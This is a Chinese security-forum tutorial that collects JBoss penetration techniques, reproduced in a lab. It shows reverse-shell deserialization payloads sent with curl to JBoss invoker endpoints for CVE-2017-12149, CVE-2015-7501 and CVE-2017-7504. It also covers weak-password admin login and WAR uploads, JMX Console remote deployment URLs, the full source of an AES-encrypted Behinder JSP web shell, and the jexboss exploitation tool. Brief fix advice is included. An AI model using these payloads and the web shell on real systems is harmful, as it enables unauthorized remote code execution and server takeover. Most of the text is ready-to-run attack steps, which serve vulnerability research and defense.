问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Jboss渗透合集
漏洞分析
# Jboss ## 前言 JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的...
Jboss ===== 前言 -- JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或 Jetty绑定使用。 Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和 servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将 Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。 默认端口 ---- ```php 8080 9990 ``` 安装 -- 官网: <https://jbossas.jboss.org/downloads/> 需要安装Java环境 这里要注意JDK的版本 java7  配置Jboss环境变量 ```php JBOSS_HOME C:\JBoss6\jboss-6.1.0.Final ```  ```php ;%JBOSS_HOME%\bin; ```   进行启动  出现INFO 说明配置成功  Jboss默认部署路径 ```php xxx\jboss-6.1.0.Final\server\default\deploy\ROOT.war ``` 本地访问一下  修改内容 达到远程访问 `xxx\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml`修改配置  ```php 将address="${jboss.bind.address}"-->address="0.0.0.0" ```  重启一下 kali远程访问  Jboss渗透 ======= JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149) ----------------------------------- ### 漏洞原理 JBOSSApplication Server反序列化命令执行漏洞,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码 ### 影响范围: JBoss 5.x/6.x ### 验证是否存在漏洞 ```php /invoker/readonly ```  返回500,说明此页面存在反序列化漏洞 ### 漏洞利用 配置javac的环境 我这边在kali进行操作 ```php cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz ## 这里要科学上网 配置代理 tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version ``` 成功安装 不用管上面那个报错  利用工具:JavaDeserH2HC ```php https://github.com/joaomatosf/JavaDeserH2HC ``` 我们选择一个 Gadget:ReverseshellCommonsCollectionsHashMap,编译并生成序列化数据:  生成:ReverseShellCommonsCollectionsHashMap.class ```php javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ``` 生成:ReverseShellCommonsCollectionsHashMap.ser ```php java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口 #IP和端口是vps上nc监听的 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.175.161:8888 ``` 开启监听 ```php nc -lvvp 8888 ``` 利用:ReverseShellCommonsCollectionsHashMap.ser ```php curl http://192.168.175.195:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser ``` 成功拿到反弹shell  JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501) -------------------------------------------- ### 漏洞原理 JBoss中`invoker/JMXInvokerServlet`路径对外开放,JBoss的jmx组件支持Java反序列化 ### 漏洞影响 ```php Red Hat JBoss A-MQ6.x版本; BPM Suite(BPMs)6.x版本; BRMS6x版本和5.x版本; Data Grid(JDG)6.x版本; Data virtualization(JDV)6.x版本和5.x版本; Enterprise Application Platform6.x版本,5.x版本和4.3版本; FuSe6.X版本;Fuse Service Works(FSW)6.x版本; Operations Network JBOSs On 3.x版本;Portalc6.x版本; SOA Platforn(SOA-P)5.x版本Web Server JWS)3.x版本; Red Hat OpenShift/XPAAS 3.x版本; Red Hat Subscription Asset Manager1.3版本 ``` ### 验证漏洞 ```php /invoker/JMXInvokerServlet ```  如上,说明接口开放,此接口存在反序列化漏洞 ### 漏洞利用 直接利用CVE-2017-12149的ReverseShellCommonsCollectionsHashMap.ser发送到`/invoker/JMXInvokerServlet`接口中 ```php curl http://192.168.175.195:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser ``` 同样是要开启监听  成功拿到shell  ### 修复建议 1.不需要`http-invoker.sar`组件的用户 可以直接删除掉 路径为:C:\\JBoss6\\jboss-6.1.0.Final\\server\\default\\deploy  2.添加如下代码至http-invoker.sar下web.xml的`security-constraint`标签中,对http-invoker组件进行访问控制  ```php <url-pattern>/*</url-pattern> ```  JbossMO JMS反序列化漏洞(CVE-2017-7504) -------------------------------- ### 漏洞原理 Jboss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码 ### 影响版本 Jboss AS 4.x以及之前所有的版本 ### 安装Jboss4 需要安装Java环境 这里要注意JDK的版本 java6  同样是需要配置Jboss环境变量  运行run.bat 出现INFO 配置成功  本地访问一下  配置远程登录 ```php C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer ```   ```php 将address="${jboss.bind.address}"-->address="0.0.0.0" ``` 保存退出 重启一下run.bat kali远程访问  验证漏洞 ---- ```php /jbossmq-httpil/HTTPServerILServlet ```  说明是存在漏洞 ### 漏洞利用 ```php curl http://192.168.175.196:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ ReverseShellCommonsCollectionsHashMap.ser ```   ### 修复建议 升级版本! JBoss EJBlnvokerServle反序列化漏洞(CVE-2013-4810) ------------------------------------------- ### 验证漏洞 ```php /invoker/EJBInvokerServle ``` 能返回结果 就可以利用 ### 两者区别 与(CVE-2015-7501)漏洞原理相同,这里详细介绍一下两者的区别 其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和 EJBInvokerServlet利用的是`org.jboss.invocation.Marshalledvalue`进行的反序列化操作 而Web-console/Invoker利用的是`org.jboss.console.remote.RemoteMBeanInvocation`进行反序列化并上传构造的文件 Administration Console弱口令 ------------------------- Administration Console管理页面存在弱口令 存在管理界面  弱口令: admin:admin 然后没有验证码 可以爆破 登陆后台上传war包! 这里有上传按钮  这边用冰蝎的马儿 进行打包war 上传  那么上传目录 就是war包名所在的文件夹 ```php /shell/shell.jsp ```    ### 修复建议 #### 1.修改密码 默认密码的位置 ```php C:\JBoss6\jboss-6.1.0.Final\server\default\conf\props ```   #### 2.删除 Administration Console页面 Jboss版本>=6.0,Administration Console页面路径为 ```php C:\jboss-6.1.0.Final\common\deploy\admin-console.war ``` 6.0之前的版本 ```php C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war ``` 低版本 JMX Console未授权访问 -------------------- ### 漏洞原理 JMX Console是Jboss管理控制台,访问控制不严导致的漏洞! Jboss 4.x及其之前的版本 console管理路径为/jmx-console/和/web-console/! - jmx-console的配置文件为 ```php /opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml #jboss的绝对路径不同网站不一样 ``` - Web-Conso|e的配置文件为 ```php /opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml#jboss的绝对路径不同网站不一样 ``` - 控制台账号密码 - jmx-console和web-console共用一个账号密码,账号密码文件在 ```php /opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties ``` ### 漏洞利用   保存的路径  继续往下翻  远程war包部署 ```php service apache2 startpython -m SimpleHTTPServer 9999 ``` 自己本地访问一下 发现是可以的    部署成功 查看部署情况 这里要点击一下 Apply Changes 进行部署 然后在jboss.web.dep 高版本JMX Console未授权访问 ------------------- ### 漏洞利用   部署地址  查看框架的源代码 我们要找的是`methodIndex`为`17/19`的 deploy,填写远程war包的地址进行远程部署   对应的是  部署成功后 进行点击 ```php http://192.168.175.194:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://xxxx/1.war ``` 然后冰蝎进行远程连接 就可 本地检查 部署的文件 路径: ```php C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost ``` ### 漏洞复现 定位到store的位置 ```php http://192.168.175.196:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository ``` 通过向store的四个参数传入信息 达到上传shell  ```php ``` 这里上传冰蝎的jsp木马 ```jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ``` ```php /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ ```   这边写一个情况 本地测试之后 发现上传的文档 在这里  在这个目录下 有问题 自动化渗透 ----- ```php sudo pip install -r requires.txt ```  执行命令 拿jboss4举例 ```php python jexboss.py -host http://192.168.175.196:8080 ``` 进行利用 就可以了  总结 -- Jboss是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/%E5%BC%80%E6%94%BE%E6%BA%90%E4%BB%A3%E7%A0%81/114160)的[应用服务器](https://baike.baidu.com/item/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/4971773)。 JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用 希望此文对大家有帮助!
发表于 2021-08-23 10:34:29
阅读 ( 7092 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!